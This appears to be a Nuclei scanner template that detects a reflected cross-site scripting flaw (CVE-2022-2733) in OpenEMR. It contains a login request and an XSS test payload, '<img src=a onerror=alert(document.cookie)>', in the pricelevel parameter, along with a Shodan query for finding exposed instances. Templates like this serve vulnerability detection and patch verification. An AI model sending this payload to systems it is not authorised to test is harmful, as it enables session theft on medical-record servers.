nuclei-templates/http/cves/2022/CVE-2022-2733.yaml

64 lines
2.1 KiB
YAML
Raw Normal View History

2023-05-22 10:19:45 +00:00
id: CVE-2022-2733
info:
name: Openemr < 7.0.0.1 - Cross-Site Scripting
author: ctflearner
severity: medium
description: |
Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.0.1.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade Openemr to version 7.0.0.1 or later to mitigate this vulnerability.
2023-05-22 10:19:45 +00:00
reference:
- https://huntr.dev/bounties/25b91301-dfb0-4353-a732-e051bbe8420c/
- https://nvd.nist.gov/vuln/detail/CVE-2022-2733
2023-07-11 19:49:27 +00:00
- https://github.com/openemr/openemr/commit/59458bc15ab0cb556c521de9d5187167d6f88945
2023-05-22 10:19:45 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-2733
cwe-id: CWE-79
2023-10-14 11:27:55 +00:00
epss-score: 0.00198
epss-percentile: 0.57412
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
2023-05-22 10:19:45 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: open-emr
product: openemr
2023-09-06 11:59:08 +00:00
shodan-query: title:"OpenEMR"
tags: cve,cve2022,xss,openemr,authenticated,huntr
2023-05-22 10:19:45 +00:00
http:
- raw:
- |
POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Referer: {{RootURL}}/interface/login/login.php?site=default
new_login_session_management=1&languageChoice=1&authUser={{username}}&clearPass={{password}}&languageChoice=1
- |
GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
2023-07-11 19:49:27 +00:00
2023-05-22 10:19:45 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=a onerror=alert(document.cookie)>'
- 'pricelevel'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100d4fc77457e4f8b7357e31694be1586136fdcd907493b0c8b43b39ea83ff99601022050d0157b4253365f1cf75d7330e7e89f5ba10454ac63743613d8e6e17db62bd0:922c64590222798bb761d5b6d8e72950